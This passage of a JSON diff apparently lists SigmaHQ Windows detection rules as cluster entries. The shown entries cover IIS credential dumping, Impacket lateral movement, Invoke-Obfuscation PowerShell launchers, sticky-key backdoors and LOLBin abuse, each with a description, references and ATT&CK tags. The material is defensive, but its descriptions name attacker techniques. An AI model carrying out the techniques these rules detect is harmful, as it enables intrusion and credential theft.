"https://en.wikipedia.org/wiki/Hangul_(word_processor)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1203", + "attack.t1059.003", + "attack.g0032" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_hwp_exploits.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", + "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", + "value": "Use Icacls to Hide File to Everyone", + "meta": { + "refs": [ + "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/07/18", + "filename": "proc_creation_win_icacls_deny.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", + "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", + "value": "Microsoft IIS Connection Strings Decryption", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_iis_connection_strings_decryption.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", + "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", + "value": "Disable Windows IIS HTTP Logging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/01/09", + "filename": "proc_creation_win_iis_http_logging.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", + "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", + "value": "Microsoft IIS Service Account Password Dumped", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_iis_service_account_password_dumped.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", + "value": "ImagingDevices Unusual Parent Or Child Processes", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", + "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", + "value": "Impacket Tool Execution", + "meta": { + "refs": [ + "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_impacket_compiled_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the impacket tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", + "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", + "value": "Impacket Lateralization Detection", + "meta": { + "refs": [ + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2019/09/03", + "filename": "proc_creation_win_impacket_lateralization.yml", + "author": "Ecco, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", + "value": "Root Certificate Installed From Susp Locations", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_import_cert_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", + "uuid": "fa47597e-90e9-41cd-ab72-c3b74cfb0d02", + "value": "Indirect Command Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md", + "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_indirect_cmd.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "low", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", + "Legitimate usage of scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of native Windows tool, forfiles to execute a file. Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", + "uuid": "a85cf4e3-56ee-4e79-adeb-789f8fb209a8", + "value": "Indirect Command Exectuion via Forfiles", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_win_indirect_command_execution_forfiles.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", + "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", + "value": "InfDefaultInstall.exe .inf Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", + "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_infdefaultinstall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects encoded base64 MZ header in the commandline", + "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", + "value": "Base64 MZ Header In CommandLine", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_inline_base64_mz_header.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of WinAPI Functions via the commandline as seen used by threat actors via the tool winapiexec", + "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", + "value": "Accessing WinAPI Via CommandLine", + "meta": { + "refs": [ + "https://twitter.com/m417z/status/1566674631788007425", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_inline_win_api_access.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", + "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", + "value": "Suspicious Debugger Registration Cmdline", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.008" + ], + "creation_date": "2019/09/06", + "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", + "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", + "value": "Interactive AT Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_interactive_at.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely (at.exe deprecated as of Windows 8)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", + "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "36c5146c-d127-4f85-8e21-01bf62355d5a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", + "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", + "value": "IOX Tunneling Tool", + "meta": { + "refs": [ + "https://github.com/EddieIvan01/iox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/10/08", + "filename": "proc_creation_win_iox.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", + "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", + "value": "Jlaive Usage For Assembly Execution In-Memory", + "meta": { + "refs": [ + "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", + "https://github.com/ch2sh/Jlaive", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_jlaive_batch_execution.yml", + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", + "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", + "value": "Suspicious Ldifde Command Usage", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1564968845726580736", + "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_ldifde_file_load.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", + "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", + "value": "MSHTA Spwaned by SVCHOST", + "meta": { + "refs": [ + "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2018/06/07", + "filename": "proc_creation_win_lethalhta.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Local accounts, System Owner/User discovery using operating systems utilities", + "uuid": "502b42de-4306-40b4-9596-6f590c81f073", + "value": "Local Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "attack.t1087.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_local_system_owner_account_discovery.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user enumerates local users for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", + "value": "Use of LogMeIn Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_win_logmein.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation or execution of UserInitMprLogonScript persistence method", + "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", + "value": "Logon Scripts (UserInitMprLogonScript)", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence" + ], + "creation_date": "2019/01/12", + "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", + "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", + "level": "high", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", + "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", + "value": "New Lolbin Process by Office Applications", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", + "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_lolbins_by_office_applications.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", + "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", + "value": "Lolbins Process Creation with WmiPrvse", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": 